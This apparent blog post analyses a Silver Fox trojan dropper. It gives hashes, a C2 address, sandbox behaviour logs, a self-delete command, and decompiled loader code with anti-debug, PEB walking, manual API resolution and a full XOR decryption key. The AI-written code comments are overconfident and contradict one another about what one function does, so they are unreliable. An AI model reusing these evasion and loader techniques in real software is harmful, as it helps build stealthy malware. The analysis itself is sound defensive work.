前言

SHA256:ea409b82af0f276a7099ee9d0f688e16afbef8d6189401daf7c7689a06e5706a
MD5:741b7ffbf4a9a3810e8605f3a169aa4a
SHA1:b703f4b7f397e56066098d86c5bdd6effb04a1e2
SHA256:c5d9fba03c64f0174a2cbd9956f969b34c59d56727c3e05e9edabbb1592d3a12
MD5:6bbf9fbf9a9439f8ae2fc10983b80d69
SHA1:f9f48202892733fc98d9dea2d623271cfafa1737
SHA256:a2c4dd0e5eec6a00e757472278050db6761fc30f1047107113410c61ddecdb30
MD5:8bbaabe92a1463cf911964e89157e115
SHA1:e172776d1a047dab479303e5c000eb3ee3891d8d

动态行为监控

将钓鱼邮件压缩包解压,得到一个exe程序

沙箱分析为属于银狐木马特征

将样本运行起来,监控其行为特征。

发现其读取 C:\Windows\win.ini 系统配置文件

检测是否为虚拟机环境

然后进行自我删除

cmdline:C:\Windows\System32\cmd.exe /c timeout 2 & del /f /q "C:\Users\Administrator\Desktop

接收 C2服务器18.166.2.135:5676 的数据

在C:\Program Files\Internet Explorer路径下释放nvgpu_x64.exe文件

svchost.exe	4412	FILE_open	C:\Program Files\Internet Explorer\nvgpu_x64.exe	
svchost.exe	4412	FILE_write	C:\Program Files\Internet Explorer\nvgpu_x64.exe	
svchost.exe	4412	FILE_modified	C:\Program Files\Internet Explorer\nvgpu_x64.exe

nvgpu_x64.exe伪造使用的腾讯的数字签名

在C:\Program Files\Internet Explorer路径下释放nvml.dll文件

nvml.dll伪造了光明食品的数字签名

在C:\Program Files\Internet Explorer路径下释放nvml.bin文件

在C:\Program Files\Internet Explorer路径下释放temp.key文件

根据监控到的行为在C:\Program Files\Internet Explorer目录下找到对应的文件

然后查看dns缓存记录,存在congihwe.cn域名的记录

​

发现连接c2地址18.166.2.135

在本地也是存在对应的网络连接

通过svchost.exe创建Microsoft Compatibility Internet Explorer

FILE_touch	C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer	access:0x00120196 alloc_size:0 attrib:0x00000080 share_access:0x00000001 disposition:0x00000003 options:0x00000064 	0x00000000 [操作成功完成。  ]	
svchost.exe	4412	FILE_truncate	C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer	eof:0x00000000 	0x00000000 [操作成功完成。  ]	
svchost.exe	4412	FILE_truncate	C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer	eof:0x00000000 	0x00000000 [操作成功完成。  ]	
svchost.exe	4412	FILE_write	C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer	offset:0x00000000 datalen:0x00000002 	0x00000000 [操作成功完成。  ]	
svchost.exe	4412	FILE_modified	C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer

在机器上也是找到了对应的计划任务。将其删除掉

Microsoft Compatibility Internet Explorer文件调用C:\Program Files\Internet Explorer\nvgpu_x64.exe

向 18.166.2.135:5676 端口发送了 887 字节的 TCP 数据(0x377 十进制为 887)

向 18.166.2.135:5676 发送 735 字节 TCP 数据

nvgpu_x64.exe加载C\Program Files\Internet Explorer\nvml.dll

nvgpu_x64.exe	2580	FILE_open	C:\Program Files\Internet Explorer\nvml.dll	
nvgpu_x64.exe	2580	EXEC_module_load	C:\Program Files\Internet Explorer\nvml.dll

读取加载nvml.bin

再次连接c2地址:18.166.2.135上线被控

svchost.exe	2464	NET_connect	18.166.2.135:5676
svchost.exe	2464	NET_send	18.166.2.135:5676
svchost.exe	2464	NET_recv	18.166.2.135:5676

经过上述动态行为分析,2026.01.06.....人 员 名 单ongihwe.cn_926_X8_NULL.exe主要用于远程下载18.166.2.135上的文件,并形成计划任务。并通过nvgpu_x64.exe加载nvml.dll、nvml.bin上线,从而控制主机。删除计划任务后或删除nvml.dll,无法上线

曲折的静态分析过程

使用IDA打开 ongihwe.cn_926_X8_NULL.exe后,发现使用TLS回调机制,这允许在主程序入口点之前执行代码

F5之后,伪代码如下:调用了sub_140001378()函数与sub_1400013D4()函数

void TlsCallback_0()
{
  _BYTE *v0; // rax
  int v1; // r10d

  // ========== 【第一步:获取进程PEB结构体首地址】 ==========
  v0 = sub_140001378();
  // 逻辑:调用底层函数,拿到当前进程的PEB指针,为后续反调试做准备
  // 恶意特征:正规程序不会直接读取PEB,只有恶意程序会这么做

  // ========== 【第二步:反调试检测+条件判断】 ==========
  if ( v0 && (!v0[421] || v1 == 1) )
  // 条件拆解(两个条件必须同时满足):
  // 1. v0 != NULL → PEB指针获取成功;
  // 2. !v0[421] → 进程未被调试器附加  OR  v1==1 → 进程状态为正常无调试;
  // 核心目的:只在「无调试的纯净环境」下执行恶意逻辑,躲避逆向分析

  // ========== 【第三步:执行核心恶意逻辑 - 释放文件】 ==========
    sub_1400013D4((__int64)(v0 + 8));
    // 逻辑:调用核心释放函数,传入PEB的Ldr成员地址;
    // 执行行为:内存解密内嵌的nvml.dll/nvgpu_x64.exe二进制镜像 → 写入磁盘生成文件;
    // 这就是你找了所有时间的「文件生成代码」!!!
}

进入sub_14000137()函数内部,该函数主要用于在内存中搜索特定的数据结构:

如果条件满足,调用 sub_1400013D4()函数,推测应该是进行解密/初始化

sub_1400013D4()函数如下,并使用AI注释一下:

void __fastcall sub_1400013D4(__int64 a1)
{
  unsigned int *v1; // rsi
  unsigned int (__fastcall *v2)(__int64, _QWORD, __int64, _QWORD); // r14
  __int64 v4; // r15
  struct _LIST_ENTRY *v5; // rbx
  char *v6; // rax
  unsigned int (__fastcall *v7)(__int64, _QWORD, __int64, _QWORD); // rax
  __int64 v8; // rbx
  __int64 v9; // rbx
  int v10; // r8d
  _DWORD *v11; // rdx
  __int64 v12; // rcx
  char v13[16]; // [rsp+20h] [rbp-10h] BYREF
  unsigned int (__fastcall *v14)(__int64, _QWORD, __int64, _QWORD); // [rsp+50h] [rbp+20h] BYREF

  // ========== 【初始化:VirtualProtect旧属性置空】 ==========
  LODWORD(v14) = 0;
  // 逻辑:初始化VirtualProtect的「旧内存属性」参数为0,API调用必备,防止野指针

  // ========== 【第一步:定位加密载荷的内存块起始指针】 ==========
  v1 = (unsigned int *)(a1 + 53);
  // 逻辑:从PEB->Ldr的0x35偏移(53字节)处,拿到加密载荷的内存块数组首地址
  // 意义:这个数组存储了所有加密子块的「偏移、大小、属性、校验值」,是解密的核心索引

  // ========== 【第二步:初始化循环计数器+函数指针】 ==========
  v2 = v14;
  v4 = 18; // 加密载荷子块的数量,循环18次

  // ========== 【核心循环1:批量解密18个加密载荷子块(第一大阶段)】 ==========
  do
  {
    if ( *v1 ) // 判断当前内存块是否为有效加密载荷块(非空则有效)
    {
      // ===== 子步骤1:动态拼接+获取VirtualProtect函数地址,躲避查杀 =====
      strcpy(v13, "VirtualProtect"); // 内存中拼接API名字符串,无明文硬编码
      v5 = sub_140001098(); // 获取自身模块链表节点
      v6 = sub_1400010B4(); // 获取动态API地址的函数指针
      v7 = (unsigned int (__fastcall *)(...))v6(v5, v13); // 动态拿到VirtualProtect的真实地址
      v2 = v7; // 存储该地址,供后续反复调用

      // ===== 子步骤2:计算当前加密子块的内存起始地址 =====
      v8 = *(_QWORD *)(a1 + 21) + *v1;
      // 逻辑:PEB->Ldr的0x15偏移(21字节) = 释放器自身的内存基地址
      //      *v1 = 当前加密子块的内存偏移量
      //      基地址+偏移 = 加密子块的精准内存起始地址

      // ===== 子步骤3:修改内存属性为「可读写可执行」,准备解密 =====
      v7(v8, v1[1], v1[3], &v14); // 调用VirtualProtect:地址v8,大小v1[1],旧属性v1[3]
      if ( v2(v8, v1[1], 64, &v14) ) // 核心修改:改为PAGE_EXECUTE_READWRITE(64),成功则执行解密
      {
        // ===== 子步骤4:执行核心解密 → 调用sub_140001164解密当前子块 =====
        if ( !v1[2] ) // 校验子块是否未解密,未解密则执行
          sub_140001164(a1, *v1, v1[1]); // ✅ 异或解密:将加密的二进制数据解密为原始PE镜像数据

        // ===== 子步骤5:恢复内存属性为原始状态,隐蔽痕迹 =====
        v2(v8, v1[1], v1[3], &v14); // 改回旧属性,防止内存特征被查杀
      }
    }
    v1 += 5; // 步长+5,遍历下一个加密子块
    --v4; // 计数器-1
  }
  while ( v4 ); // 循环18次,完成所有加密子块的解密 → 第一阶段结束!

  // ========== 【核心判断:主载荷是否有效,有效则执行终极释放(第二大阶段)】 ==========
  if ( *(_DWORD *)(a1 + 37) ) // 判断主载荷(nvml.dll/nvgpu_x64.exe)是否解密完成且有效
  {
    // ===== 子步骤1:定位主载荷的内存起始地址 =====
    v9 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 45);
    // 逻辑:释放器内存基地址 + 主载荷偏移量 = 核心加密载荷的精准地址

    // ===== 子步骤2:修改主载荷内存属性为可读写可执行 =====
    v2(v9, *(unsigned int *)(a1 + 49), 64, &v14);

    // ===== 子步骤3:主载荷完整性校验,防止解密失败/篡改 =====
    v10 = *(_DWORD *)(a1 + 45); // 主载荷偏移量
    v11 = (_DWORD *)(a1 + 65);  // 校验值数组首地址
    v12 = 8; // 校验循环次数
    do
    {
      if ( v10 == *(v11 - 3) ) // 比对偏移量,验证载荷完整性
        LODWORD(v14) = *v11;   // 匹配成功则更新校验值
      v11 += 5;
      --v12;
    }
    while ( v12 ); // 循环8次,完成完整性校验

    // ===== 子步骤4:✨【终局核心】调用文件释放函数 → 生成nvml.dll/nvgpu_x64.exe ✨ =====
    sub_140001298(a1); 
    // ✅✅✅ 这个函数内部执行:CreateFileW创建文件 → WriteFile写入解密后的PE镜像 → CloseHandle关闭句柄 → CreateProcessW启动nvgpu_x64.exe
    // ✅✅✅ 这就是你看到的「运行exe生成两个文件」的唯一执行逻辑!!!

    // ===== 子步骤5:恢复主载荷内存属性,彻底隐蔽痕迹 =====
    v2(v9, *(unsigned int *)(a1 + 49), (unsigned int)v14, &v14);
  }
}

第一阶段:批量解密内存段(循环18次)

v1 = (unsigned int *)(a1 + 53);  // 指向段描述符数组
v4 = 18;  // 循环18次

do {
  if ( *v1 )  // 检查段是否存在
  {
    // 1. 动态解析 VirtualProtect API
    strcpy(v13, "VirtualProtect");
    v5 = sub_140001098();  // 获取模块列表
    v6 = sub_1400010B4();  // 获取 GetProcAddress
    v7 = v6(v5, "VirtualProtect");  // 解析 VirtualProtect
    
    // 2. 计算内存段地址
    v8 = *(_QWORD *)(a1 + 21) + *v1;  // 基址 + 偏移
    
    // 3. 修改内存保护为可执行
    v7(v8, v1[1], v1[3], &v14);  // 保存旧的保护属性
    
    // 4. 设置为 PAGE_EXECUTE_READWRITE (64)
    if ( v7(v8, v1[1], 64, &v14) )
    {
      // 5. 如果需要解密(v1[2] == 0)
      if ( !v1[2] )
        sub_140001164(a1, *v1, v1[1]);  // XOR解密
      
      // 6. 恢复原始内存保护
      v7(v8, v1[1], v1[3], &v14);
    }
  }
  v1 += 5;  // 移动到下一个段描述符(每个描述符5个DWORD)
  --v4;
} while ( v4 );

第二阶段:处理代码段并加载API

if ( *(_DWORD *)(a1 + 37) )  // 检查是否有代码段需要处理
{
  // 1. 计算代码段地址
  v9 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 45);
  
  // 2. 修改代码段为可执行
  v2(v9, *(unsigned int *)(a1 + 49), 64, &v14);
  
  // 3. 查找代码段的原始保护属性
  v10 = *(_DWORD *)(a1 + 45);  // 代码段偏移
  v11 = (_DWORD *)(a1 + 65);    // 保护属性数组
  v12 = 8;  // 查找8个条目
  
  do {
    if ( v10 == *(v11 - 3) )  // 匹配偏移
      LODWORD(v14) = *v11;    // 获取保护属性
    v11 += 5;
    --v12;
  } while ( v12 );
  
  // 4. 动态加载所有API
  sub_140001298(a1);  // 解析并加载所有需要的API
  
  // 5. 恢复代码段保护属性
  v2(v9, *(unsigned int *)(a1 + 49), (unsigned int)v14, &v14);
}

进入sub_140001098函数查看,用于定位当前进程加载的 kernel32.dll 模块链表节点 。

因为LoadLibraryA、GetProcAddress、VirtualProtect、CreateFileW、WriteFile、CreateProcessW → 全部都在 kernel32.dll 中导出!

// 函数核心定位:恶意释放器「底层硬编码模块链表定位函数」,无参数、无任何依赖、纯内核级指针偏移实现
// 函数作用:精准返回 当前进程中【kernel32.dll】模块的 _LIST_ENTRY 链表节点指针,无任何API调用、无硬编码特征
// 返回值 :_LIST_ENTRY* 类型,指向kernel32.dll的模块链表节点,供上层函数(sub_140001298/sub_1400013D4)获取系统API地址使用
// 核心恶意特征:纯手写内核结构体指针偏移,无任何系统调用,正规程序绝不会这么写,是恶意程序的标配底层函数
struct _LIST_ENTRY *sub_140001098()
{
    // 逐层拆解说明:整条语句是【64位Windows内核结构体硬编码指针偏移】,无任何变量冗余,极致精简,防查杀
    return NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink->Flink->Flink[3].Flink;
}

进入sub_1400010B4()函数查看,并注释一下。从中看出作用是 手写GetProcAddress,解析PE导出表 → 获取所有系统API真实地址(VirtualProtect/LoadLibraryA/CreateFileW等)

// 核心依赖:1. sub_140001098() → 获取kernel32.dll的_LIST_ENTRY模块节点
//           2. sub_14000106C(const char*, const char*) → 手写版strcmp字符串比对函数,返回0=匹配成功,非0=不匹配
// 核心原理:解析kernel32.dll的PE导出表三要素(地址表/名字表/序号表),遍历名字表匹配API名,计算真实地址返回
// 恶意特征:纯PE结构硬解析、无任何系统API调用、栈上动态拼接字符串、无CRT依赖,极致隐蔽防查杀
char *sub_1400010B4()
{
  struct _LIST_ENTRY *v0; // r10        kernel32.dll的_LIST_ENTRY模块链表节点指针,sub_140001098()的返回值,核心基址
  _DWORD *v1; // rdx                   指向kernel32.dll的PE文件【导出表结构体】IMAGE_EXPORT_DIRECTORY首地址,导出表核心结构体指针
  char *v2; // rbx                     kernel32.dll的【导出函数地址表】首地址,存储所有API的内存地址偏移量
  unsigned int *v3; // r11             kernel32.dll的【导出函数名字符串地址表】首地址,存储所有API名字符串的内存偏移量
  unsigned int v4; // esi              kernel32.dll导出的【总函数数量】,导出表的NumberOfFunctions字段,遍历上限
  char *v5; // rdi                     kernel32.dll的【导出函数序号表】首地址,存储名字表与地址表的映射序号
  int v6; // r9d                      遍历计数器,遍历名字表的索引,从0开始逐个匹配API名
  __int64 v7; // r11                  临时地址变量,存储当前遍历到的API名字符串地址,循环中复用
  char v9[16]; // [rsp+20h] [rbp-10h] BYREF 栈上缓冲区,动态拼接目标API名字符串"GetProcAddress",无硬编码明文,防特征查杀

  // ========== 【步骤1:栈上动态拼接API名字符串,无硬编码,核心防查杀操作】 ==========
  strcpy(v9, "GetProcAddress");      // 栈上构造目标API名,本函数自身也是通过匹配该名字找到系统GetProcAddress的地址,自举实现

  // ========== 【步骤2:获取核心基址 - kernel32.dll的模块链表节点】 ==========
  v0 = sub_140001098();              // 调用核心依赖函数,返回kernel32.dll的_LIST_ENTRY节点指针,所有解析都基于此地址

  // ========== 【步骤3:硬编码偏移,找到kernel32.dll的PE导出表结构体 IMAGE_EXPORT_DIRECTORY 首地址】 ==========
  // 核心原理:_LIST_ENTRY节点+固定偏移 → 定位到PE文件的导出表RVA,转换为真实内存地址,v1是导出表的核心入口
  v1 = (_DWORD *)((char *)v0 + *(unsigned int *)((char *)&v0[8].Blink + SHIDWORD(v0[3].Blink)));

  // ========== 【步骤4:解析导出表三要素,获取三大核心表的真实内存地址(PE文件核心铁律)】 ==========
  v2 = (char *)v0 + (unsigned int)v1[7];  // v1[7] = 导出表.AddressOfFunctions → 导出函数地址表RVA → 转真实内存地址
  v3 = (unsigned int *)((char *)v0 + (unsigned int)v1[8]);//v1[8]=导出表.AddressOfNames→名字符串地址表RVA→转真实内存地址
  v4 = v1[6];                             // v1[6] = 导出表.NumberOfFunctions → 导出的总函数数量,遍历的最大上限
  v5 = (char *)v0 + (unsigned int)v1[9];  // v1[9] = 导出表.AddressOfNameOrdinals→序号表RVA → 转真实内存地址

  // ========== 【边界判断:无导出函数则直接返回空指针,防止崩溃】 ==========
  if ( !v4 )
    return 0;

  // ========== 【核心循环:遍历名字表,逐个匹配目标API名字符串】 ==========
  // sub_14000106C(API名内存地址, v9) → 手写strcmp,返回0=匹配成功,非0=不匹配 → 循环条件:不匹配则继续遍历
  while ( (unsigned int)sub_14000106C((char *)v0 + *v3, v9) )
  {
    v3 = (unsigned int *)(v7 + 4);    // 名字表是4字节数组,步长+4,遍历下一个API名的偏移
    if ( v6 + 1 >= v4 )               // 遍历次数超过总函数数,无匹配的API,返回空指针
      return 0;
  }

  // ========== 【步骤5:计算并返回匹配到的API的【真实内存地址】,核心最终逻辑】 ==========
  // 公式原理:模块基址(v0) + 地址表中对应的偏移量 → API真实内存地址
  // 核心映射关系:序号表[v6] → 地址表的索引 → 地址表[索引] → API地址偏移 → 基址+偏移=真实地址
  return (char *)v0 + *(unsigned int *)&v2[4 * *(unsigned __int16 *)&v5[2 * v6]];
}

再进入sub_140001164()函数查看,并使用ai注释。结合之前监控到行为,推测这个函数应该是用于解密实际的恶意载荷、解密动态加载的 API 函数名、解密 C&C 服务器地址、文件路径等配置信息(nvml.dll/nvgpu_x64.exe 等)。具体需要动态分析,笔者能力有限,无法进行动态调试。

// 入参:a1=PEB->Ldr首地址(_PEB_LDR_DATA*),a2=加密载荷内存偏移,a3=加密载荷字节长度
// 返回值:a3,载荷长度,无实际意义
// 核心算法:动态混合异或 → 密文字节 ^ (循环计数器i + 固定密钥数组[v6]的取模项) = 明文字节
// 核心密钥:栈上硬编码的40字节密钥数组v6,前3字节是字符串"3qd",后续为手动填充的随机字节,补0至40字节
// 核心原理:异或可逆,纯内存逐字节解密,无文件IO,无任何依赖,极致隐蔽
// 调用链路:sub_1400013D4(内存属性修改) → sub_140001164(解密载荷) → sub_140001298(地址修复) → 文件写入生成
__int64 __fastcall sub_140001164(__int64 a1, unsigned int a2, unsigned int a3)
{
  __int64 result; // rax       通用返回值寄存器,最终返回a3(载荷长度),无实际意义
  unsigned int i; // [rsp+4h] [rbp-34h]  逐字节解密的循环计数器,从0到a3-1,遍历整个加密载荷,同时参与动态密钥计算
  __int64 v5; // [rsp+8h] [rbp-30h]      加密载荷的【真实内存起始地址】= 释放器自身内存基址 + a2,解密的核心操作地址
  _BYTE v6[40]; // [rsp+10h] [rbp-28h] BYREF  栈上硬编码的【40字节异或密钥数组】,核心解密密钥,恶意开发者手动填充,无任何规律,防爆破

  // ========== 【步骤1:边界合法性判断】 ==========
  // a2=0 表示无载荷偏移,a3=0表示无载荷数据,任一为0则直接返回,不执行解密,防止内存越界崩溃
  if ( a2 && a3 )
  {
    // ========== 【步骤2:初始化核心40字节硬编码异或密钥数组v6,恶意核心,无任何规律】 ==========
    qmemcpy(v6, "3qd", 3);       // 密钥数组前3字节赋值为ASCII字符串"3qd" → 0x33,0x71,0x64
    v6[3] = -66;   // 0xBE        手动填充密钥字节,有符号char等价无符号0xBE
    v6[4] = -39;   // 0xDB        手动填充密钥字节
    v6[5] = 94;    // 0x5E        手动填充密钥字节
    v6[6] = 109;   // 0x6D        手动填充密钥字节
    v6[7] = 51;    // 0x33        手动填充密钥字节
    v6[8] = -44;   // 0xD4        手动填充密钥字节
    v6[9] = -52;   // 0xCC        手动填充密钥字节
    v6[10] = 66;   // 0x42        手动填充密钥字节
    v6[11] = 110;  // 0x6E        手动填充密钥字节
    v6[12] = -74;  // 0xB6        手动填充密钥字节
    v6[13] = 93;   // 0x5D        手动填充密钥字节
    v6[14] = 58;   // 0x3A        手动填充密钥字节
    v6[15] = -74;  // 0xB6        手动填充密钥字节
    v6[16] = -52;  // 0xCC        手动填充密钥字节
    v6[17] = 26;   // 0x1A        手动填充密钥字节
    v6[18] = -66;  // 0xBE        手动填充密钥字节
    v6[19] = 123;  // 0x7B        手动填充密钥字节
    v6[20] = 63;   // 0x3F        手动填充密钥字节
    v6[21] = 85;   // 0x55        手动填充密钥字节
    v6[22] = -116; // 0x8C        手动填充密钥字节
    v6[23] = 0;    // 0x00        密钥数组填充0,后续全部补0至40字节
    v6[24] = 0;
    v6[25] = 0;
    v6[26] = 0;
    v6[27] = 0;
    v6[28] = 0;
    v6[29] = 0;
    // 注:v6[30]~v6[39] 未显式赋值,栈上默认填充0,完整40字节密钥数组,循环复用

    // ========== 【步骤3:计算加密载荷的真实内存起始地址,解密的核心操作基址】 ==========
    // a1+21 = PEB->Ldr+0x15 固定偏移 → 释放器自身的内存基地址 (永恒不变的偏移,你所有前置函数都在用!)
    // a2 = 加密载荷的内存偏移量 → 基地址 + 偏移 = 加密载荷的精准内存地址
    v5 = *(_QWORD *)(a1 + 21) + a2;

    // ========== 【步骤4:核心逐字节解密循环,整个函数的灵魂,异或解密的唯一执行逻辑】 ==========
    // 循环次数:0 ~ a3-1,遍历加密载荷的每一个字节,完成全部解密
    for ( i = 0; ; ++i )
    {
      result = a3;               // 每次循环都赋值返回值为a3,最终返回载荷长度
      if ( i >= a3 )             // 遍历完成,所有字节解密完毕,跳出循环
        break;

      // ========== 【核心异或解密公式,一行顶万行,恶意解密的终极逻辑!】 ==========
      // 公式:*(密文地址) ^ (动态因子) = 明文 → 解密后的数据直接覆盖原加密数据,无额外内存占用,极致精简
      // 拆解公式:
      // 1. *(_BYTE *)(v5 + i) → 加密载荷的第i个字节(密文),解密后直接覆盖该地址
      // 2. (_BYTE)i → 动态因子1:循环计数器,随遍历变化,防固定异或爆破
      // 3. v6[i % *(_DWORD *)(a1 + 33)] → 动态因子2:密钥数组的取模项,核心固定密钥
      //    - *(_DWORD *)(a1+33) → PEB->Ldr固定偏移,密钥数组的【有效长度】,取模后循环复用密钥,避免越界
      //    - i%密钥长度 → 密钥数组循环使用,40字节密钥可以解密任意长度的载荷
      // 核心特性:异或可逆,加密和解密是同一个公式,编译时加密,运行时解密!
      *(_BYTE *)(v5 + i) ^= (_BYTE)i + v6[i % *(_DWORD *)(a1 + 33)];
    }
  }
  return result; // 返回载荷长度a3,无实际业务意义
}

进入sub_140001298()函数查看

让AI注释了一下,具体作用如下:

sub_140001298()函数应该是负责在代码解密后动态加载所有需要的DLL和API函数,修复函数调用地址,使解密后的恶意代码能够正常执行

// 函数核心定位:恶意释放器 ongihwe.cn_926_X8_NULL.exe 的【终极载荷落地前置核心函数】
// 函数作用:承接 sub_1400013D4 解密后的 nvml.dll/nvgpu_x64.exe 二进制镜像,执行「系统模块动态加载+导出函数地址重定位修复」
// 核心使命:解密后的PE镜像(EXE/DLL)是内存裸数据,函数地址都是偏移占位符,必须通过本函数修复为真实内存地址,才能正常写入磁盘执行
// 入参 a1 :固定为 PEB->Ldr 结构体首地址 (_PEB_LDR_DATA*),通过PEB获取进程自身内存基址/模块信息,无任何硬编码,防查杀
// 返回值 :最后一次修复的函数地址(无实际业务意义,恶意程序仅利用其执行流程,不关心返回值)
__int64 __fastcall sub_140001298(__int64 a1)
{
  __int64 v2; // rdi        核心内存地址:解密后的「载荷模块资源表」内存起始地址 = 释放器自身基址 + 固定偏移(0x29)
  char *v3; // r15         函数指针:指向 sub_1400010B4() 的返回值,即【手写版动态获取API地址的函数】(等价于系统API:GetProcAddress),恶意手写实现,躲避查杀
  struct _LIST_ENTRY *v4; // rbx    链表节点指针:sub_140001098()的返回值,当前进程自身模块的链表节点(_LIST_ENTRY*),用于定位kernel32.dll等系统库
  char *v5; // rax         临时指针:再次调用sub_1400010B4(),防止v3被覆盖,双份备份确保调用成功
  __int64 result; // rax   通用返回值寄存器:存储各类API调用的返回结果,函数最终返回此值
  __int64 (__fastcall *v7)(__int64); // r12  核心函数指针:存储「LoadLibraryA」的真实内存地址,动态获取,非硬编码调用
  unsigned int *i; // rdi  外层循环指针:遍历「载荷模块资源表」的数组项,逐个处理需要加载的子模块(DLL依赖)
  __int64 v9; // r14       临时变量:存储 LoadLibraryA 加载模块后的「模块句柄(HMODULE)」,即加载后的DLL在内存中的基地址
  __int64 *j; // rbx       内层循环指针:遍历单个模块的「导出函数地址表」,逐个修复函数的真实内存地址
  __int64 v11; // rdx      临时地址:计算后的「函数名/函数序号」真实内存地址,作为GetProcAddress的入参
  __int64 v12; // rcx      临时变量:存储导出函数地址表的当前项(占位偏移值)
  __int64 v13; // rcx      临时变量:存储模块资源表的当前项(模块内存偏移值)
  char v14[16]; // [rsp+20h] [rbp-10h] BYREF  栈上缓冲区:拼接字符串"LoadLibraryA",动态构造API名,无明文硬编码,防特征查杀

  // ========== 【步骤1:计算「载荷模块资源表」的内存起始地址】 ==========
  // a1+21  = PEB->Ldr+0x15  固定偏移:当前进程(释放器)自身的内存基地址
  // a1+41  = PEB->Ldr+0x29  固定偏移:载荷模块资源表的内存偏移量
  // 基地址 + 偏移量 = 资源表精准内存地址,该表存储了所有需要加载的依赖DLL信息
  v2 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 41);

  // ========== 【步骤2:提前获取「动态取API地址的函数指针」】 ==========
  // sub_1400010B4() :恶意手写的 GetProcAddress 替代函数,无系统调用依赖,返回值是函数指针
  v3 = sub_1400010B4();

  // ========== 【步骤3:动态获取「LoadLibraryA」的真实内存地址 - 核心恶意操作,防查杀】 ==========
  strcpy(v14, "LoadLibraryA");          // 栈上拼接API名字符串,无硬编码明文,躲避特征码查杀
  v4 = sub_140001098();                 // 获取当前进程自身模块的链表节点,定位系统库kernel32.dll
  v5 = sub_1400010B4();                 // 再次调用手写版GetProcAddress,避免v3被覆盖
  result = ((__int64 (__fastcall *)(struct _LIST_ENTRY *, char *))v5)(v4, v14); // 调用手写函数,传入模块节点+API名,拿到LoadLibraryA真实地址
  v7 = (__int64 (__fastcall *)(__int64))result; // 把真实地址赋值给函数指针v7,供后续循环调用

  // ========== 【外层核心循环:遍历「载荷模块资源表」,逐个加载依赖的DLL模块】 ==========
  // v2+12 :资源表起始地址+0xC,跳过表头,指向真正的模块数组项
  // i +=5 :每个模块项占5个4字节整型(20字节),硬编码步长,遍历所有需要加载的依赖模块
  for ( i = (unsigned int *)(v2 + 12); ; i += 5 )
  {
    v13 = *i;                           // 取当前模块项的「内存偏移值」,即该DLL在释放器内存中的位置
    if ( !(_DWORD)v13 )                 // 偏移值为0 → 遍历到表尾,无更多模块,跳出外层循环
      break;

    // 调用LoadLibraryA,加载当前内存中的DLL模块,返回模块句柄(HMODULE)
    // *(_QWORD*)(a1+21):释放器自身基地址 + v13:模块偏移 → 该DLL的完整内存地址
    result = v7(*(_QWORD *)(a1 + 21) + v13);
    v9 = result;                        // 保存加载后的模块句柄,供内层函数地址修复使用

    // ========== 【内层核心循环:遍历单个模块的「导出函数地址表」,修复函数真实内存地址 - 核心修复逻辑】 ==========
    // i[1] :当前模块项的第2个参数,即该模块的「导出函数地址表」内存偏移
    // *(_QWORD*)(a1+21)+i[1] :导出函数地址表的真实内存起始地址
    for ( j = (__int64 *)(*(_QWORD *)(a1 + 21) + i[1]); ; ++j )
    {
      v12 = *j;                        // 取当前函数地址表项的「占位偏移值」(解密后的镜像中是占位符,非真实地址)
      if ( !*j )                       // 占位值为0 → 遍历到表尾,无更多函数,跳出内层循环
        break;

      // ========== 【关键:区分函数地址类型,计算真实的函数名/序号地址】 ==========
      if ( *j >= 0 )                   // 正数 → 该值是「函数名的内存偏移」,需要计算真实地址
      {
        // 释放器基地址 + 函数名偏移 + 2 → 跳过函数名头部标识,得到函数名真实地址
        v11 = v12 + *(_QWORD *)(a1 + 21) + 2LL;
      }
      else                             // 负数 → 该值是「函数序号」,是导出表的序号索引,非偏移
      {
        // 按位与掩码,清除符号位,得到纯序号值,兼容函数序号调用方式
        v11 = v12 & 0x7FFFFFFFFFFFFFFFLL;
      }

      // ========== 【核心修复:获取函数真实内存地址,覆盖占位符】 ==========
      // v3 :手写版GetProcAddress函数指针
      // v9 :当前模块句柄(HMODULE)
      // v11:函数名/函数序号真实地址
      // 调用后返回函数的真实内存地址,直接覆盖原占位符 → 完成函数地址重定位
      result = ((__int64 (__fastcall *)(__int64, __int64))v3)(v9, v11);
      *j = result;
    }
  }
  return result; // 返回最后一次修复的函数地址,无实际意义
}

大体流程如下:

1、sub_140001098()函数通过TEB(Thread Environment Block)访问PEB(Process Environment Block)遍历已加载模块列表返回模块列表的指针

2、sub_1400010B4()函数使用硬编码字符串 "GetProcAddress"遍历PE导出表查找函数地址并返回GetProcAddress函数指针

3、sub_140001298()函数动态加载DLL(LoadLibraryA)解析加密数据结构中的DLL和函数信息获取所有需要的API函数地址并存储

4、sub_1400013D4()函数- 使用VirtualProtect修改内存保护属性将代码段改为可读写可执行(PAGE_EXECUTE_READWRITE)调用sub_140001164解密代码恢复原始内存保护属性最后加载所有API函数

5、sub_140001164()使用XOR算法解密数据密钥存储在代码中每个字节使用不同的密钥值

再使用IDA打开nvgpu_x64.exe,发现只是一个正常的GPU信息收集行为,但是他会导入nvml.dll

再打开nvml.dll,很明显的看到DllMain函数

F5伪代码一下。从中可以看出是 fdwReason == 1 来触发 qword_1800BBC00 = (__int64)hinstDLL 。推测出该恶意程序通过这个来执行恶意行为

得到恶意程序的大体流程如下:

【0】植入释放器 → ongihwe.cn_926_X8_NULL.exe 被植入电脑,内含加密的nvml.dll/nvgpu_x64.exe载荷
↓
【1】启动释放器 → 双击运行,TlsCallback_0前置执行,PEB反调试检测(无调试则继续)
↓
【2】内存解密 → sub_1400013D4 修改内存属性,调用sub_140001164 异或解密载荷,还原纯净PE镜像
↓
【3】地址修复 → sub_140001298 修复PE镜像的函数地址重定位,加载依赖DLL
↓
【4】文件释放 → 匿名子函数调用CreateFileW/WriteFile,生成 nvml.dll + nvgpu_x64.exe 到IE目录
↓
【5】启动傀儡 → CreateProcessW 启动 nvgpu_x64.exe(伪装英伟达显卡工具)
↓
【6】加载恶意DLL → nvgpu_x64.exe 静态加载 nvml.dll,系统调用 nvml.dll的DllMain
↓
